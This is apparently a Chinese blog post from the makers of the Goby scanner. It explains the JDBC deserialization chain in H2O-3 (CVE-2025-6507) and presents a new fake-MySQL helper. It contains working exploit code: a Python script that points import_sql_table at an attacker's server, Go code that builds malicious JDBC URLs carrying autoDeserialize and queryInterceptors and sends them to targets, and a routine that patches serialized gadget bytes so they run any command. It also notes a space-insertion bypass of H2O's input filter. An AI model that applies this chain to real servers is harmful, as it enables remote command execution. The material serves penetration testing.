

▌前言
在Goby EXP能力升级系列的往期文章中,我们探讨了HTTP独立服务与自定义FTP服务在漏洞利用中的扩展应用。本期,我们将聚焦于企业应用与中间件渗透测试中另一个高频场景——JDBC反序列化漏洞。这类漏洞通常潜伏在数据库连接模块中,当应用与外部服务交互时被触发,需要攻击者模拟一个能够返回恶意序列化数据的MySQL服务。本文将通过具体案例,剖析此类漏洞的复现痛点,并展示Goby EXP模块最新集成的Fake-MySQL能力如何实现一键自动化利用。
▌原理剖析:JDBC协议交互中的反序列化攻击链
要理解利用逻辑,首先需要厘清JDBC反序列化漏洞的攻击路径。我们以CVE-2025-6507为例进行说明。
H2O-3是H2o.ai开发的开源机器学习平台,广泛用于大数据分析与模型构建。在其ImportSQLTable功能中,用户可通过JDBC连接导入SQL数据。正是这一特性,使得攻击者可能通过控制JDBC URL参数来触发反序列化漏洞。尽管H2O尝试通过正则表达式过滤恶意输入,但研究证明,在参数间插入空格即可绕过防护。
该漏洞的核心在于JDBC协议的特性:当目标服务器使用特定版本的JDBC驱动(如存在缺陷的mysql-connector-java)发起数据库连接时,会解析服务端返回的数据流。如果驱动对反序列化过程缺乏充分校验,攻击者便可构造恶意序列化载荷注入响应流,从而在服务器端触发命令执行。
完整的攻击链路如下:
- 攻击者构造恶意JDBC连接URL,通过目标系统的SQL导入功能(如
import_sql_table)诱导服务器主动发起连接。
- 目标服务器加载存在安全缺陷的JDBC驱动,与攻击者控制的恶意服务端建立TCP连接。
- 攻击者控制的恶意数据库模拟服务(Fake-MySQL)遵循MySQL协议规范,在交互过程中返回包含恶意反序列化链(Gadget)的二进制数据。
- 目标服务器在解析数据时触发反序列化漏洞,执行攻击者预设的任意命令。

此类漏洞利用的关键步骤(也是必要条件)在于:必须启动一个能够精准响应JDBC驱动请求的MySQL服务器或Fake-MySQL服务。该服务需模拟MySQL的握手、认证流程,并在执行查询时返回恶意的序列化数据。由于该漏洞依赖Jackson库,本地测试时通常需要在特定端口(如3308)启动一个Fake-MySQL服务来触发漏洞。
以下是针对H2O-3 3.46.0.7版本的靶场复现代码示例:
import h2o
# h2o Version: 3.46.0.7
h2o.init(
extra_classpath=["./mysql-connector-java-8.0.19.jar"],
max_mem_size="4g",
port=54321
)
try:
frame = h2o.import_sql_table(
connection_url="jdbc:mysql://192.168.3.1:3308/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
table="",
username="demo",
password="demo"
)
except Exception as e:
if "No suitable driver" in str(e):
print("Exploit fail")
本地复现效果:

然而,传统利用方式存在明显局限:过于固定。每次只能针对单一命令启动一个服务,若需执行其他命令,必须手动修改序列化数据并重启服务。在实战的渗透测试场景中,还需额外配置公网VPS来承载Fake-MySQL服务,流程繁琐,效率低下。
▌Goby EXP能力新升级:一键自动化JDBC反序列化测试
为解决上述实战痛点,Goby EXP模块新增了CreatCustomJdbcConnect方法,将JDBC反序列化漏洞的EXP全流程自动化,显著提升了安全测试效率。该方法通过内置的Fake-MySQL服务器能力,支持两种方式设置序列化数据:一是通过指定Gadget链、分类(Category)和命令(Command)动态生成;二是直接使用自定义的十六进制序列化数据。这为安全研究人员编写漏洞EXP提供了极大的灵活性。
其实现结构如下图所示:

CreatCustomJdbcConnect方法支持以下核心功能:
- 动态端口分配:自动分配可用端口,避免冲突。
- 命令执行:支持Base64编码命令或原始命令字符串。
- Gadget链支持:支持多种常见的反序列化利用链。
- 超时控制:支持自定义连接超时时间。
- 简化接口:返回标准化的JDBC连接字符串,便于直接嵌入攻击载荷。
该功能尤其适用于需要数据库连接能力的漏洞测试场景。CustomJdbcConnectReq结构体参数说明如下:
| 参数名 |
类型 |
说明 |
限制和注意事项 |
EncodedCommand |
string |
Base64编码的命令 |
与Command二选一,优先使用EncodedCommand |
Command |
string |
原始命令字符串 |
与EncodedCommand二选一,使用时需提供Gadget和Category |
Gadget |
string |
反序列化Gadget名称 |
使用Command时必须,如"CommonsCollections3" |
Category |
string |
Gadget分类 |
使用Command时必须,如"jdk7" |
Timeout |
int |
连接超时时间(秒) |
必须为正数,小于等于0时自动设置为60 |
基础使用代码示例:
// 创建自定义JDBC连接
req := godclient.CustomJdbcConnectReq{
EncodedCommand: "base64编码的命令", // 可选,与Command二选一
Command: "原始命令", // 可选,与EncodedCommand二选一
Gadget: "CommonsCollections3", // 使用Command时必需
Category: "jdk7", // 使用Command时必需
Timeout: 30, // 30秒超时
}
connectUrl, err := client.CreatCustomJdbcConnect(req)
if err != nil {
return "", nil
}
// 使用返回的JDBC连接字符串构造攻击载荷
// connectUrl 格式: "jdbc:mysql://IP:端口"
payload := fmt.Sprintf("jdbc:mysql://%s/test?autoDeserialize=true&queryInterceptor=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections3_calc", connectUrl)
// 发起攻击请求
cfg := httpclient.NewGetRequestConfig("/vulnerable/endpoint")
cfg.Params.Add("url", payload)
resp, err := jsonvul.DoHttpRequestWithBaseDir(u, cfg)
if err != nil || resp.StatusCode != 200 {
return "", nil
}
调用成功返回示例:
connectUrl, err := client.CreatCustomJdbcConnect(req)
// 成功时:
// connectUrl: "jdbc:mysql://123.45.67.89:12345"
// err: nil
Goby最终实现逻辑:通过使用Jackson反序列化链生成基础的十六进制序列化数据,然后通过字符串替换技术,动态修改其中的命令部分,实现任意命令的执行。接着,通过CustomJdbcConnectReq方法启动Fake-MySQL服务,并传入处理后的序列化数据,从而将整个复杂的利用流程简化为几行代码。
calculateHexValue := func(hexStr string) int {
hexStr = strings.TrimLeft(hexStr, "0")
if hexStr == "" {
return 0
}
value, err := strconv.ParseInt(hexStr, 16, 32)
if err != nil {
return 0
}
return int(value)
}
replaceBothStrings := func(originalHex, customString string) (string, error) {
customHex := hex.EncodeToString([]byte(customString))
customLen := len(customString)
originalLen := 4
lenDiff := customLen - originalLen
pattern1 := "0004ef"
originalValue := calculateHexValue("04ef")
newValue := originalValue + lenDiff
replacement1 := fmt.Sprintf("%06x", newValue)
pattern2 := "000463616c63"
replacement2 := fmt.Sprintf("%04x%s", customLen, customHex)
result := strings.Replace(originalHex, pattern1, replacement1, 1)
result = strings.Replace(result, pattern2, replacement2, 1)
return result, nil
}
originalHex := "" // Jackson链生成的原始序列化数据(十六进制)
payloadHex, err := replaceBothStrings(originalHex, command)
if err != nil {
return nil, err
}
host, err := godclient.CreatCustomJdbcConnect(godclient.CustomJdbcConnectReq{
EncodedCommand: payloadHex,
Timeout: 30,
})
if err != nil {
return nil, err
}
jdbcUrl := host + `/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor`
最终的Goby一键验证与利用效果如下方动图所示:

▌总结
本文以CVE-2025-6507(H2O-3 JDBC反序列化漏洞)为例,详细拆解了JDBC反序列化攻击链,并重点介绍了Goby EXP模块新增的CreatCustomJdbcConnect方法。该方法有效解决了传统复现方法中调试复杂、依赖外网服务等痛点,通过简洁的代码即可实现从服务启动到命令执行的全程自动化,为同类Java反序列化漏洞的测试与研究提供了极大的便利。
▌参考